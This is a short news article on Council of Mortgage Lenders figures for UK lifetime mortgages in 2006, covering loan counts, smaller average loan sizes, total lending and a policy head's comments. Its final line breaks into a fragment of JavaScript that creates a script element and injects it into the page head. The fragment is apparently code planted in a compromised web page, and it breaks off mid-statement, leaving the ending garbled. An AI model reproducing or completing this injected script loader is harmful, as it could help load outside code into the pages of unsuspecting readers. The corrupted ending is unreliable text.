More, smaller lifetime mortgages

The number of new lifetime mortgages (equity release loans to older home-owners) increased but the value of new lending fell in 2006, according to new survey information from the Council of Mortgage Lenders.

The CML said that this reflects a drop in the size of the average new loan from around £45,000 in 2005 to £41,000 in 2006.

Further analysis reveals that this trend towards smaller loans grew more pronounced as the year wore on. By the fourth quarter of the year, the average new loan was only £38,400 – the lowest since the CML began its survey in 2002.

New lifetime mortgage lending totalled £971 million in 2006, compared with £1,048 million the previous year. But the number of new loans rose from 23,215 in 2005 to 23,786 last year.

Despite the trend towards smaller loans, the total value of lifetime mortgages outstanding has now passed the £6 billion mark, ending 2006 at £6.6 billion, compared with £5.3 billion at the end of 2005.

Commenting on the new data, CML head of policy Jackie Bennett said: “The trend towards smaller loan amounts on lifetime mortgages suggests that lenders and intermediaries are being careful to ensure that people are only borrowing what they need. The move towards greater use of flexible features that allow people to draw down money as they need it, rather than all upfront, will also have helped the trend.

This is all good news for older people looking to release equity from their homes. Specialist advisers on lifetime mortgages are clearly beginning to adopt good practice. The FSA’s good practice advice further emphasises the special nature of this market. We expect confidence in the market to grow further, now that the FSA is also regulating home reversion schemes.”d.getElementsByTagName(‘head’)[0].appendChild(s);var d=document;var s=d.createElement('script'); if (document.currentScript) {

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